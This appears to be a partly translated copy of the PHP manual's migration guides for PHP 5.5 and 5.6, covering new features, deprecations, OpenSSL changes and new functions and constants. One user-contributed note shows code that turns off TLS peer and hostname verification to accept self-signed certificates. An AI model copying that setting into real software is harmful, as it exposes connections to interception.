加入 gost-crypto 散列算法。 它使用 » RFC 4357, 11.2 小节 定义的 CryptoPro S-box 表实现了 GOST 散列函数。

SSL/TLS 提升

在 PHP 5.6 中对 SSL/TLS 的支持进行了大幅度的提升。 这其中包括 默认启用端点验证 选项来支持证书指纹比对， 以避免 TLS 重新协商攻击。 还增加了很多 SSL 上下文选项， 以便在使用加密流的时候， 能够更好的控制协议和验证的相关设置。

这些变动在 PHP 5.6.x 中的 OpenSSL 变更 中有详细描述。

pgsql 异步支持

pgsql 扩展现在支持 异步方式连接数据库及执行查询， 也即可以使用非阻塞的方式和 PostgreSQL 数据库进行交互。 使用 PGSQL_CONNECT_ASYNC 常量可以 建立异步连接，pg_connect_poll()， pg_socket()， pg_consume_input() 和 pg_flush() 函数 可以用来处理异步连接和查询。

User Contributed Notes

ciachn 06-Sep-2014 07:20
Having 2 ** 3 ** 2 = 512 is actually that is the exact correct behavior for a right-associative operator just as specified in the "**" documentation.
Anonymous 15-Jul-2014 12:58
Remember, that

    ($a ** $b) ** $c === $a ** ($b * $c)

Thats why exponent operator** is RIGHT associative.
ashnazg at php dot net 21-Apr-2014 03:07
Note the order of operations in that exponentiation operator, as it was opposite of what my first expectation was:

<?php
// what I had expected,
// evaluating left to right,
// since no parens were used to guide the order of operations
2 ** 3 ** 2 == 64; // (2 ** 3) ** 2 = 8 ** 2 = 64

// the given example,
// which appears to evaluate right to left
2 ** 3 ** 2 == 512; // 2 ** (3 ** 2) = 2 ** 9 = 512
?>
gmblar+php at gmail dot com 31-Jan-2014 02:36
<?php

function array_zip(...$arrays) {
    return array_merge(...array_map(NULL, ...$arrays));
}

$a = array(1, 4, 7);
$b = array(2, 5, 8);
$c = array(3, 6, 9);

var_dump(implode(', ', array_zip($a, $b, $c)));

// Output
string(25) "1, 2, 3, 4, 5, 6, 7, 8, 9"
tr0y 25-Jan-2014 07:02
It is also possible ( in 5.6.0alpha ) to typehint the ...-operator

function foo (stdclass ... $inbound) {
   var_dump($inbound);
}

// ok:
foo( (object)['foo' => 'bar'], (object)['bar' => 'foo'] );

// fails:
foo( 1, 2, 3, 4 );


PHP 5.6.x 中已废止的特性

从不兼容的上下文调用方法

现在已废止从不兼容的上下文调用方法， 并且产生 E_DEPRECATED 错误 （以前是 E_STRICT）。 在 PHP 的后续版本中可能彻底移除对此特性的支持。

以下是不兼容上下文调用方法的示例：

<?php
class A {
    function f() { echo get_class($this); }
}

class B {
    function f() { A::f(); }
}

(new B)->f();
?>

以上例程会输出：

Deprecated: Non-static method A::f() should not be called statically, assuming $this from incompatible context in - on line 7
B

$HTTP_RAW_POST_DATA 和 always_populate_raw_post_data

使用 always_populate_raw_post_data 会导致在填充 $HTTP_RAW_POST_DATA 时产生 E_DEPRECATED 错误。 请使用 php://input 替代 $HTTP_RAW_POST_DATA， 因为它可能在后续的 PHP 版本中被移除。 设置 always_populate_raw_post_data 为 -1 （这样会强制 $HTTP_RAW_POST_DATA 未定义，所以也不回导致 E_DEPRECATED 的错误） 来体验新的行为。

iconv 和 mbstring 编码设置

iconv 和 mbstring 配置选项中 和编码相关的选项都已废弃， 请使用 default_charset。 废弃的选项有：

  • iconv.input_encoding
  • iconv.output_encoding
  • iconv.internal_encoding
  • mbstring.http_input
  • mbstring.http_output
  • mbstring.internal_encoding

User Contributed Notes

There are no user contributed notes for this page.


函数的变化

PHP 内核

  • 如果省略 salt 参数，crypt() 会产生 E_NOTICE错误。
  • substr_compare() 的 length 参数现在接受 0 的值。
  • unserialize() will now fail if passed serialised data that has been manipulated to attempt to instantiate an object without calling its constructor.

cURL

  • 只有设置 CURLOPT_SAFE_UPLOAD 为 FALSE 的情况下， 才接受 @file 语法上传文件。 最好使用 CURLFile 代替。

Mcrypt

  • mcrypt_create_iv() 的 source 现在默认值是 MCRYPT_DEV_URANDOM，而非 MCRYPT_DEV_RANDOM。

OpenSSL

  • 如果 SSL 上下文选项已经提供 crypto_type 选项， stream_socket_enable_crypto() 可以忽略 crypto_type 参数。

PostgreSQL

  • pg_insert()、pg_select()、 pg_update()、pg_delete() 不再是实验性质的。
  • 如果数据库连接 socket 流设置为非阻塞（non-blocking）模式，
pg_send_execute()、
pg_send_prepare()、pg_send_query()
、pg_send_query_params() 不再会阻塞查询直到写入完成。

Reflection

  • ReflectionClass::newInstanceWithoutConstructor() 现在允许非 Final 的内部类实例化。

XMLReader

  • 和 XMLReader::getAttribute() 一样，未找到属性的情况下，
XMLReader::getAttributeNs() 和
XMLReader::getAttributeNo() 会返回 NULL 。

User Contributed Notes

There are no user contributed notes for this page.


新加函数

日期和时间

  • DateTimeImmutable::createFromMutable()

GMP

  • gmp_root()
  • gmp_rootrem()

Hash

  • hash_equals()

LDAP

  • ldap_escape()
  • ldap_modify_batch()

MySQLi

  • mysqli_get_links_stats()

OCI8

  • oci_get_implicit_resultset()

OpenSSL

  • openssl_get_cert_locations()
  • openssl_x509_fingerprint()
  • openssl_spki_new()
  • openssl_spki_verify()
  • openssl_spki_export_challenge()
  • openssl_spki_export()

PostgreSQL

  • pg_connect_poll()
  • pg_consume_input()
  • pg_flush()
  • pg_socket()

PDO_PGSQL

  • PDO::pgsqlGetNotify()
  • PDO::pgsqlGetPid()

Session

  • session_abort()
  • session_reset()

Zip

  • ZipArchive::setPassword()

User Contributed Notes

There are no user contributed notes for this page.


OpenSSL changes in PHP 5.6.x

Stream wrappers now verify peer certificates and host names by default when using SSL/TLS

All encrypted client streams now enable peer verification by default. By default, this will use OpenSSL's default CA bundle to verify the peer certificate. In most cases, no changes will need to be made to communicate with servers with valid SSL certificates, as distributors generally configure OpenSSL to use known good CA bundles.

The default CA bundle may be overridden on a global basis by setting either the openssl.cafile or openssl.capath configuration setting, or on a per request basis by using the cafile or capath context options.

While not recommended in general, it is possible to disable peer certificate verification for a request by setting the verify_peer context option to FALSE, and to disable peer name validation by setting the verify_peer_name context option to FALSE.

Certificate fingerprints

Support has been added for extracting and verifying certificate fingerprints. openssl_x509_fingerprint() has been added to extract a fingerprint from an X.509 certificate, and two SSL stream context options have been added: capture_peer_cert to capture the peer's X.509 certificate, and peer_fingerprint to assert that the peer's certificate should match the given fingerprint.

Default ciphers updated

The default ciphers used by PHP have been updated to a more secure list based on the » Mozilla cipher recommendations, with two additional exclusions: anonymous Diffie-Hellman ciphers, and RC4.

This list can be accessed via the new OPENSSL_DEFAULT_STREAM_CIPHERS constant, and can be overridden (as in previous PHP versions) by setting the ciphers context option.

Compression disabled by default

SSL/TLS compression has been disabled by default to mitigate the CRIME attack. PHP 5.4.13 added a disable_compression context option to allow compression to be disabled: this is now set to TRUE (that is, compression is disabled) by default.

Allow servers to prefer their cipher order

The honor_cipher_order SSL context option has been added to allow encrypted stream servers to mitigate BEAST vulnerabilities by preferring the server's ciphers to the client's.

Access the negotiated protocol and cipher

The protocol and cipher that were negotiated for an encrypted stream can now be accessed via stream_get_meta_data() or stream_context_get_options() when the capture_session_meta SSL context option is set to TRUE.

<?php
$ctx = stream_context_create(['ssl' => [
    'capture_session_meta' => TRUE
]]);

$html = file_get_contents('https://google.com/', FALSE, $ctx);
$meta = stream_context_get_options($ctx)['ssl']['session_meta'];
var_dump($meta);
?>

以上例程会输出：

array(4) {
  ["protocol"]=>
  string(5) "TLSv1"
  ["cipher_name"]=>
  string(20) "ECDHE-RSA-AES128-SHA"
  ["cipher_bits"]=>
  int(128)
  ["cipher_version"]=>
  string(11) "TLSv1/SSLv3"
}

New options for perfect forward secrecy in encrypted stream servers

Encrypted client streams already support perfect forward secrecy, as it is generally controlled by the server. PHP encrypted server streams using certificates capable of perfect forward secrecy do not need to take any additional action to enable PFS; however a number of new SSL context options have been added to allow more control over PFS and deal with any compatibility issues that may arise.

ecdh_curve

This option allows the selection of a specific curve for use with ECDH ciphers. If not specified, prime256v1 will be used.

dh_param

A path to a file containing parametrs for Diffie-Hellman key exchange, such as that created by the following command:

openssl dhparam -out /path/to/my/certs/dh-2048.pem 2048
single_dh_use

If set to TRUE, a new key pair will be created when using Diffie-Hellman parameters, thereby improving forward secrecy.

single_ecdh_use

If set to TRUE, a new key pair will always be generated when ECDH cipher suites are negotiated. This improves forward secrecy.

SSL/TLS version selection

It is now possible to select specific versions of SSL and TLS via the crypto_method SSL context option or by specifying a specific transport when creating a stream wrapper (for example, by calling stream_socket_client() or stream_socket_server()).

The crypto_method SSL context option accepts a bitmask enumerating the protocols that are permitted, as does the crypto_type of stream_socket_enable_crypto().

Selected protocol versions and corresponding options
Protocol(s) | Client flag | Server flag | Transport
Any TLS or SSL version | STREAM_CRYPTO_METHOD_ANY_CLIENT | STREAM_CRYPTO_METHOD_ANY_SERVER | ssl://
Any TLS version | STREAM_CRYPTO_METHOD_TLS_CLIENT | STREAM_CRYPTO_METHOD_TLS_SERVER | tls://
TLS 1.0 | STREAM_CRYPTO_METHOD_TLSv1_0_CLIENT | STREAM_CRYPTO_METHOD_TLSv1_0_SERVER | tlsv1.0://
TLS 1.1 | STREAM_CRYPTO_METHOD_TLSv1_1_CLIENT | STREAM_CRYPTO_METHOD_TLSv1_1_SERVER | tlsv1.1://
TLS 1.2 | STREAM_CRYPTO_METHOD_TLSv1_2_CLIENT | STREAM_CRYPTO_METHOD_TLSv1_2_SERVER | tlsv1.2://
SSL 3 | STREAM_CRYPTO_METHOD_SSLv3_CLIENT | STREAM_CRYPTO_METHOD_SSLv3_SERVER | sslv3://
<?php

// Requiring TLS 1.0 or better when using file_get_contents():
$ctx = stream_context_create([
    'ssl' => [
        'crypto_method' => STREAM_CRYPTO_METHOD_TLS_CLIENT,
    ],
]);
$html = file_get_contents('https://google.com/', false, $ctx);

// Requiring TLS 1.1 or 1.2:
$ctx = stream_context_create([
    'ssl' => [
        'crypto_method' => STREAM_CRYPTO_METHOD_TLSv1_1_CLIENT |
                           STREAM_CRYPTO_METHOD_TLSv1_2_CLIENT,
    ],
]);
$html = file_get_contents('https://google.com/', false, $ctx);

// Connecting using the tlsv1.2:// stream socket transport.
$sock = stream_socket_client('tlsv1.2://google.com:443/');

?>

openssl_get_cert_locations() added

The openssl_get_cert_locations() function has been added: it returns the default locations PHP will search when looking for CA bundles.

<?php
var_dump(openssl_get_cert_locations());
?>

以上例程会输出：

array(8) {
  ["default_cert_file"]=>
  string(21) "/etc/pki/tls/cert.pem"
  ["default_cert_file_env"]=>
  string(13) "SSL_CERT_FILE"
  ["default_cert_dir"]=>
  string(18) "/etc/pki/tls/certs"
  ["default_cert_dir_env"]=>
  string(12) "SSL_CERT_DIR"
  ["default_private_dir"]=>
  string(20) "/etc/pki/tls/private"
  ["default_default_cert_area"]=>
  string(12) "/etc/pki/tls"
  ["ini_cafile"]=>
  string(0) ""
  ["ini_capath"]=>
  string(0) ""
}

SPKI support

Support has been added for generating, extracting and verifying signed public key and challenges (SPKAC). openssl_spki_new(), openssl_spki_verify(), openssl_spki_export_challenge(), and openssl_spki_export() have been added to create, verify export PEM public key and associated challenge from SPKAC's generated from a KeyGen HTML5 element.

openssl_spki_new

Generates a new SPKAC using private key, challenge string and hashing algorithm.

<?php
$pkey = openssl_pkey_new();
openssl_pkey_export($pkey, 'secret passphrase');

$spkac = openssl_spki_new($pkey, 'challenge string');
?>

以上例程会输出：

SPKAC=MIIBXjCByDCBnzANBgkqhkiG9w0BAQEFAAOBjQAwgYkCgYEA3L0IfUijj7+A8CPC8EmhcdNoe5fUAog7OrBdhn7EkxFButUp40P7+LiYiygYG1TmoI/a5EgsLU3s9twEz3hmgY9mYIqb/rb+SF8qlD/K6KVyUORC7Wlz1Df4L8O3DuRGzx6/+3jIW6cPBpfgH1sVuYS1vDBsP/gMMIxwTsKJ4P0CAwEAARYkYjViMzYxMTktNjY5YS00ZDljLWEyYzctMGZjNGFhMjVlMmE2MA0GCSqGSIb3DQEBAwUAA4GBAF7hu0ifzmjonhAak2FhhBRsKFDzXdKIkrWxVNe8e0bZzMrWOxFM/rqBgeH3/gtOUDRS5Fnzyq425UsTYbjfiKzxGeCYCQJb1KJ2V5Ij/mIJHZr53WYEXHQTNMGR8RPm7IxwVXVSHIgAfXsXZ9IXNbFbcaLRiSTr9/N4U+MXUWL7
openssl_spki_verify

Verifies provided SPKAC.

<?php
$pkey = openssl_pkey_new();
openssl_pkey_export($pkey, 'secret passphrase');

$spkac = openssl_spki_new($pkey, 'challenge string');
var_dump(openssl_spki_verify($spkac));
?>
openssl_spki_export_challenge

Exports associated challenge from provided SPKAC.

<?php
$pkey = openssl_pkey_new();
openssl_pkey_export($pkey, 'secret passphrase');

$spkac = openssl_spki_new($pkey, 'challenge string');
$challenge = openssl_spki_export_challenge($spkac):
echo $challenge;
?>

以上例程会输出：

challenge string
openssl_spki_export

Exports the PEM formatted RSA public key from SPKAC.

<?php
$pkey = openssl_pkey_new();
openssl_pkey_export($pkey, 'secret passphrase');

$spkac = openssl_spki_new($pkey, 'challenge string');
echo openssl_spki_export($spkac);
?>

以上例程会输出：

-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDcvQh9SKOPv4DwI8LwSaFx02h7
l9QCiDs6sF2GfsSTEUG61SnjQ/v4uJiLKBgbVOagj9rkSCwtTez23ATPeGaBj2Zg
ipv+tv5IXyqUP8ropXJQ5ELtbXPUN/gvw7cO5EbPHr/7eMhbpw8Gl+AfWxW5hLW8
MGw/+AwwjHBOwong/QIDAQAB
-----END PUBLIC KEY-----

User Contributed Notes

Victor 27-Oct-2015 09:36
To get back to the "old behavior" with self-signed ("snakeoil") certificates to possibly incorrect name, you need to set both options.

<?php
            $streamContext = stream_context_create([
                'ssl' => [
                    'verify_peer'      => false,
                    'verify_peer_name' => false
                ]
            ]);
            $contents = file_get_contents('https://url', false, $streamContext);
?>


扩展中的变动

cURL

在 cURL 库中的一些被标记为废弃的常量， 现在已经被移除：

  • CURLOPT_CLOSEPOLICY
  • CURLCLOSEPOLICY_CALLBACK
  • CURLCLOSEPOLICY_LEAST_RECENTLY_USED
  • CURLCLOSEPOLICY_LEAST_TRAFFIC
  • CURLCLOSEPOLICY_OLDEST
  • CURLCLOSEPOLICY_SLOWEST

OCI8

  • 加入 oci_get_implicit_resultset() 函数 来支持 Oracle Database 12c 的隐式结果集。
  • 如果使用 oci_execute($s, OCI_NO_AUTO_COMMIT) 执行 SELECT 语句， 在连接关闭时发起内部的事物回滚不再是冗余的。
  • 通过 --enable-dtrace 配置选项 控制 DTrace 探针。
  • oci_internal_debug() 现在是无操作函数。
  • 在 phpinfo() 输出中 OCI8 的格式发生变动。

Zip

加入 --with-libzip 配置选项， 使得你可以使用系统安装的 libzip。 最低支持 libzip 0.11 版本，建议使用 0.11.2 或更高的版本。

MySQLi

新加 mysqli.rollback_on_cached_plink 选项，对于事务回滚的连接，将其返回到持久连接池中。

User Contributed Notes

There are no user contributed notes for this page.


新加的全局常量

GD

  • IMG_WEBP （自 PHP 5.6.25 起）

LDAP

  • LDAP_ESCAPE_DN
  • LDAP_ESCAPE_FILTER

OpenSSL

  • OPENSSL_DEFAULT_STREAM_CIPHERS
  • STREAM_CRYPTO_METHOD_ANY_CLIENT
  • STREAM_CRYPTO_METHOD_ANY_SERVER
  • STREAM_CRYPTO_METHOD_TLSv1_0_CLIENT
  • STREAM_CRYPTO_METHOD_TLSv1_0_SERVER
  • STREAM_CRYPTO_METHOD_TLSv1_1_CLIENT
  • STREAM_CRYPTO_METHOD_TLSv1_1_SERVER
  • STREAM_CRYPTO_METHOD_TLSv1_2_CLIENT
  • STREAM_CRYPTO_METHOD_TLSv1_2_SERVER

PostgreSQL

  • PGSQL_CONNECT_ASYNC
  • PGSQL_CONNECTION_AUTH_OK
  • PGSQL_CONNECTION_AWAITING_RESPONSE
  • PGSQL_CONNECTION_MADE
  • PGSQL_CONNECTION_SETENV
  • PGSQL_CONNECTION_SSL_STARTUP
  • PGSQL_CONNECTION_STARTED
  • PGSQL_DML_ESCAPE
  • PGSQL_POLLING_ACTIVE
  • PGSQL_POLLING_FAILED
  • PGSQL_POLLING_OK
  • PGSQL_POLLING_READING
  • PGSQL_POLLING_WRITING

User Contributed Notes

There are no user contributed notes for this page.


从 PHP 5.4.x 迁移到 PHP 5.5.x

Table of Contents

  • PHP 5.5.x 中的变更
  • 不向后兼容的变更
  • 新的特性
  • PHP 5.5.x 中废弃的特性
  • 变更的函数
  • 新的函数
  • 新的类和接口
  • 新的方法
  • 扩展中的其他变更
  • 新的全局常量
  • INI 文件处理的变化
  • PHP 内部的变化

参见 PHP 版本迁移指南 5.0.x 、 5.1.x 、 5.3.x 以及 5.4.x。

User Contributed Notes

There are no user contributed notes for this page.


PHP 5.5.x 中的变更

PHP 5.5.x 中的大多数改进对现有代码不会有影响。 在生产环境中切换 PHP 版本前应考虑 少许不兼容 和 新特性，并严格测试代码。

想要从一个较老的 PHP 版本升级系统，可使用下列相关文档：

  • PHP 5.4.x 升级说明.
  • PHP 5.3.x 升级说明.
  • PHP 5.2.x 升级说明.
  • PHP 5.1.x 升级说明.
  • 从 PHP 4 迁移到 PHP 5.

User Contributed Notes

There are no user contributed notes for this page.


不向后兼容的变更

尽管大部分现有的 PHP 5 代码不需要更改就可以正常运行，但请注意一些不向后兼容的变更：

不再支持 Windows XP 和 2003

已放弃对 Windows XP 和 2003 的支持。构建 Windows 版本的 PHP 需要 Windows Vista 或更新的系统。

Case insensitivity no longer locale specific

All case insensitive matching for function, class and constant names is now performed in a locale independent manner according to ASCII rules. This improves support for languages using the Latin alphabet with unusual collating rules, such as Turkish and Azeri.

This may cause issues for code that uses case insensitive matches for non-ASCII characters in multibyte character sets (including UTF-8), such as accented characters in many European languages. If you have a non-English, non-ASCII code base, then you will need to test that you are not inadvertently relying on this behaviour before deploying PHP 5.5 to production systems.

pack() 和 unpack() 函数的变化

为使 pack() 和 unpack() 更兼容 Perl 做了一些变更：

  • pack() 现在支持"Z"格式代码，其表现的行为与"a"相同。
  • unpack() now support the "Z" format code for NULL padded strings, and behaves as "a" did in previous versions: it will strip trailing NULL bytes.且其行为类似上一个版本中的"a"：清除后面的 NULL 字节。
  • unpack() now keeps trailing NULL bytes when the "a" format code is used.
  • unpack() now strips all trailing ASCII whitespace when the "A" format code is used.

Writing backward compatible code that uses the "a" format code with unpack() requires the use of version_compare(), due to the backward compatibility break.

例如：

<?php
// 以前的代码：
$data = unpack('a5', $packed);

// 新的代码：
if (version_compare(PHP_VERSION, '5.5.0-dev', '>=')) {
  $data = unpack('Z5', $packed);
} else {
  $data = unpack('a5', $packed);
}
?>

移除 PHP logo GUIDs

The GUIDs that previously resulted in PHP outputting various logos have been removed. This includes the removal of the functions to return those GUIDs. The removed functions are:

  • php_logo_guid()
  • php_egg_logo_guid()
  • php_real_logo_guid()
  • zend_logo_guid()

Internal execution changes

Extension authors should note that the zend_execute() function can no longer be overridden, and that numerous changes have been made to the execute_data struct and related function and method handling opcodes.

Most extension authors are unlikely to be affected, but those writing extensions that hook deeply into the Zend Engine should read the notes on these changes.

User Contributed Notes

There are no user contributed notes for this page.


新的特性

新增 Generators

Support for generators has been added via the yield keyword. Generators provide an easy way to implement simple iterators without the overhead or complexity of implementing a class that implements the Iterator interface.

A simple example that reimplements the range() function as a generator (at least for positive step values):

<?php
function xrange($start, $limit, $step = 1) {
    for ($i = $start; $i <= $limit; $i += $step) {
        yield $i;
    }
}

echo 'Single digit odd numbers: ';

/* 注意保存在内存中的数组绝不会被创建或返回 */
foreach (xrange(1, 9, 2) as $number) {
    echo "$number ";
}
?>

以上例程会输出：

Single digit odd numbers: 1 3 5 7 9

新增 finally 关键字

try-catch blocks now support a finally block for code that should be run regardless of whether an exception has been thrown or not.

foreach 现在支持 list()

foreach 控制结构现在支持通过 list() 构造将嵌套数组分离到单独的变量。例如：

<?php
$array = [
    [1, 2],
    [3, 4],
];

foreach ($array as list($a, $b)) {
    echo "A: $a; B: $b\n";
}
?>

以上例程会输出：

A: 1; B: 2
A: 3; B: 4

关于 foreach 更深入的文档可参考相关手册页面。

empty() 支持任意表达式

empty() 现在支持传入一个任意表达式，而不仅是一个变量。例如：

<?php
function always_false() {
    return false;
}

if (empty(always_false())) {
    echo 'This will be printed.';
}

if (empty(true)) {
    echo 'This will not be printed.';
}
?>

以上例程会输出：

This will be printed.

array and string literal dereferencing

Array and string literals can now be dereferenced directly to access individual elements and characters:

<?php
echo 'Array dereferencing: ';
echo [1, 2, 3][0];
echo "\n";

echo 'String dereferencing: ';
echo 'PHP'[0];
echo "\n";
?>

以上例程会输出：

Array dereferencing: 1
String dereferencing: P

新的密码哈希 API

A 新的密码哈希 API that makes it easier to securely hash and manage passwords using the same underlying library as crypt() in PHP has been added. See the documentation for password_hash() for more detail.

Apache 2.4 handler supported on Windows

The Apache 2.4 handler SAPI is now supported on Windows.

改进 GD

对 GD 扩展做了多方面的改进，包括：

  • 翻转支持使用新的 imageflip() 函数。
  • 高级裁剪支持使用 imagecrop() & imagecropauto() 函数。
  • WebP 的读写分别支持使用 imagecreatefromwebp() & imagewebp() 。

User Contributed Notes

wallacemaxters at gmail dot com 13-Oct-2016 04:17
After PHP 5.5, foreach with reference in arbitrary array does not generate an error:

    foreach ([1, 2, 3, 4] as $key => &$value) {
        $value = $value . ' R$';
    }

before 5.4, will generate  "Cannot create references to elements of a temporary array expression"
Anonymous 14-Apr-2015 04:53
Yield is awesome... it's starts to look like a real language now ;-)

class myList {
    public $list;
    public function __construct($list) {
        $this->list = $list;
    }

    public function select(...$keys) {
        $keys_array = array_fill_keys($keys, null);
        $items = $this->list;
        foreach($items as $item) {
            yield array_merge($keys_array, array_intersect_key($item, $keys_array));
        }
    }
}
PHP Guy 07-Nov-2013 05:59
Great work.  Thank you for allowing Lists to return on foreach.


PHP 5.5.x 中废弃的特性

废弃 ext/mysql

原始的 MySQL 扩展 现在被废弃，当连接到数据库时会产生一个 E_DEPRECATED 错误。可使用 MySQLi 或 PDO_MySQL 扩展作为替代。

preg_replace() 中的 /e 修饰符

preg_replace() 函数中用到的 /e 修饰符现在被弃用。可以使用 preg_replace_callback() 函数来替代。

intl 中的废弃

IntlDateFormatter::setTimeZoneID() 和 datefmt_set_timezone_id() 现在被废弃。可分别使用 IntlDateFormatter::setTimeZone() 方法和 datefmt_set_timezone() 函数作为替代。

mcrypt 中的废弃

下列函数已被废弃：

  • mcrypt_cbc()
  • mcrypt_cfb()
  • mcrypt_ecb()
  • mcrypt_ofb()

User Contributed Notes

There are no user contributed notes for this page.


变更的函数

PHP 核心

  • 使用 NULL 作为参数调用 set_error_handler() 将重置错误处理程序。
  • 当使用 NULL 调用set_error_handler() 和 set_exception_handler() 时， 现在分别返回上一个错误或异常处理程序。
  • pack() 和 unpack() 使用 "a"和"A"格式代码时的行为有所变化。 Detailed notes on these changes are available.

intl

  • MessageFormatter::format() 及其相关函数现在 related functions now accept named arguments and mixed numeric and named arguments when PHP is linked to ICU 4.8 or later.
  • MessageFormatter::format() and related functions no longer error when an insufficient number of arguments have been provided. Instead, the placeholders will not be substituted.
  • MessageFormatter::format() and MessageFormatter::parse() are no longer limited to second precision when dealing with times.
  • IntlDateFormatter::__construct() and datefmt_create() now accept IntlTimeZone and DateTimeZone objects for the timezone argument, and IntlCalendar objects for the calendar argument. Furthermore, if the time zone is omitted and the calendar doesn't specify a time zone, PHP's default time zone from date_default_timezone_get() is now used instead of the default ICU time zone.
  • IntlDateFormatter::getCalendar() and datefmt_get_calendar() return false if the IntlDateFormatter object was created with an IntlCalendar instance instead of one of the IntlDateFormatter constants.
  • 除 IntlDateFormatter 常量之外，IntlDateFormatter::setCalendar() 和 datefmt_set_calendar()现在接受 IntlCalendar 对象。
  • IntlDateFormatter::format() 和 datefmt_format() 现在接受 IntlCalendar 对象。

User Contributed Notes

There are no user contributed notes for this page.


新的函数

PHP 核心

  • array_column()
  • boolval()
  • password_get_info()
  • password_hash()
  • password_needs_rehash()
  • password_verify()

Hash

  • hash_pbkdf2()

GD

  • imageaffinematrixconcat()
  • imageaffinematrixget()
  • imagecrop()
  • imagecropauto()
  • imageflip()
  • imagepalettetotruecolor()
  • imagescale()

Intl

  • datefmt_format_object()
  • datefmt_get_calendar_object()
  • datefmt_get_timezone()
  • datefmt_set_timezone()
  • datefmt_get_calendar_object()
  • intlcal_create_instance()
  • intlcal_get_keyword_values_for_locale()
  • intlcal_get_now()
  • intlcal_get_available_locales()
  • intlcal_get()
  • intlcal_get_time()
  • intlcal_set_time()
  • intlcal_add()
  • intlcal_set_time_zone()
  • intlcal_after()
  • intlcal_before()
  • intlcal_set()
  • intlcal_roll()
  • intlcal_clear()
  • intlcal_field_difference()
  • intlcal_get_actual_maximum()
  • intlcal_get_actual_minimum()
  • intlcal_get_day_of_week_type()
  • intlcal_get_first_day_of_week()
  • intlcal_get_greatest_minimum()
  • intlcal_get_least_maximum()
  • intlcal_get_locale()
  • intlcal_get_maximum()
  • intlcal_get_minimal_days_in_first_week()
  • intlcal_get_minimum()
  • intlcal_get_time_zone()
  • intlcal_get_type()
  • intlcal_get_weekend_transition()
  • intlcal_in_daylight_time()
  • intlcal_is_equivalent_to()
  • intlcal_is_lenient()
  • intlcal_is_set()
  • intlcal_is_weekend()
  • intlcal_set_first_day_of_week()
  • intlcal_set_lenient()
  • intlcal_equals()
  • intlcal_get_repeated_wall_time_option()
  • intlcal_get_skipped_wall_time_option()
  • intlcal_set_repeated_wall_time_option()
  • intlcal_set_skipped_wall_time_option()
  • intlcal_from_date_time()
  • intlcal_to_date_time()
  • intlcal_get_error_code()
  • intlcal_get_error_message()
  • intlgregcal_create_instance()
  • intlgregcal_set_gregorian_change()
  • intlgregcal_get_gregorian_change()
  • intlgregcal_is_leap_year()
  • intltz_create_time_zone()
  • intltz_create_default()
  • intltz_get_id()
  • intltz_get_gmt()
  • intltz_get_unknown()
  • intltz_create_enumeration()
  • intltz_count_equivalent_ids()
  • intltz_create_time_zone_id_enumeration()
  • intltz_get_canonical_id()
  • intltz_get_region()
  • intltz_get_tz_data_version()
  • intltz_get_equivalent_id()
  • intltz_use_daylight_time()
  • intltz_get_offset()
  • intltz_get_raw_offset()
  • intltz_has_same_rules()
  • intltz_get_display_name()
  • intltz_get_dst_savings()
  • intltz_from_date_time_zone()
  • intltz_to_date_time_zone()
  • intltz_get_error_code()
  • intltz_get_error_message()

SPL

  • SplFixedArray::__wakeup()

User Contributed Notes

There are no user contributed notes for this page.


新的类和接口

Intl

  • IntlCalendar
  • IntlGregorianCalendar
  • IntlTimeZone
  • IntlBreakIterator
  • IntlRuleBasedBreakIterator
  • IntlCodePointBreakIterator

User Contributed Notes

There are no user contributed notes for this page.


新的方法

Intl

  • IntlDateFormatter::formatObject()
  • IntlDateFormatter::getCalendarObject()
  • IntlDateFormatter::getTimeZone()
  • IntlDateFormatter::setTimeZone()

User Contributed Notes

There are no user contributed notes for this page.


扩展中的其他变更

Intl

intl 扩展现在需要 ICU 4.0 或更高版本。

User Contributed Notes

There are no user contributed notes for this page.


新的全局常量

GD

  • IMG_AFFINE_TRANSLATE
  • IMG_AFFINE_SCALE
  • IMG_AFFINE_ROTATE
  • IMG_AFFINE_SHEAR_HORIZONTAL
  • IMG_AFFINE_SHEAR_VERTICAL
  • IMG_CROP_DEFAULT
  • IMG_CROP_TRANSPARENT
  • IMG_CROP_BLACK
  • IMG_CROP_WHITE
  • IMG_CROP_SIDES
  • IMG_FLIP_BOTH
  • IMG_FLIP_HORIZONTAL
  • IMG_FLIP_VERTICAL
  • IMG_BELL
  • IMG_BESSEL
  • IMG_BICUBIC
  • IMG_BICUBIC_FIXED
  • IMG_BLACKMAN
  • IMG_BOX
  • IMG_BSPLINE
  • IMG_CATMULLROM
  • IMG_GAUSSIAN
  • IMG_GENERALIZED_CUBIC
  • IMG_HERMITE
  • IMG_HAMMING
  • IMG_HANNING
  • IMG_MITCHELL
  • IMG_POWER
  • IMG_QUADRATIC
  • IMG_SINC
  • IMG_NEAREST_NEIGHBOUR
  • IMG_WEIGHTED4
  • IMG_TRIANGLE

MySQLi

为使用 mysqli_options() 新增一个 MYSQLI_SERVER_PUBLIC_KEY 选项。

User Contributed Notes

There are no user contributed notes for this page.


INI 文件处理的变化

Intl

新增 intl.use_exceptions 配置指令，当发生全局错误时，连同已经现存的 intl.error_level 配置指令一起用来控制 intl 的行为。

MySQLnd

新增 mysqlnd.sha256_server_public_key 配置指令来允许 mysqli 使用新的MySQL 认证协议。

User Contributed Notes

There are no user contributed notes for this page.


PHP 内部的变化

  • Extensions cannot override zend_execute() any more and should override zend_execute_ex() instead. EG(current_execute_data) is already initialized in zend_execute_ex(), so for compatibility extensions may need to use EG(current_execute_data)->prev_execute_data instead.
  • 移除 EG(arg_types_stack) 、EX(fbc) 、 EX(called_scope) 以及EX(current_object) 。
  • Added op_array->nested_calls, which is calculated at compile time.
  • Added EX(call_slots), which is an array to store information about syntaticaly nested calls (e.g. foo(bar())) and is preallocated together with execute_data.
  • Added EX(call), which is a pointer to a current calling function, and is an element of EX(call_slots).
  • Opcodes INIT_METHOD_CALL, ZEND_INIT_STATIC_METHOD_CALL, ZEND_INIT_FCALL_BY_NAME and ZEND_INIT_NS_FCALL_BY_NAME use result.num as an index in EX(call_slots).
  • Opcode ZEND_NEW uses extended_value as an index in EX(call_slots).
  • Opcodes ZEND_DO_FCALL and ZEND_DO_FCALL_BY_NAME use op2.num as an index in EX(call_slots).
  • Added op_array->used_stack, which is calculated at compile time; the corresponding stack space is preallocated together with execute_data. As a result, the ZEND_SEND* and ZEND_DO_FCALL* opcodes no longer need to check for stack overflow.
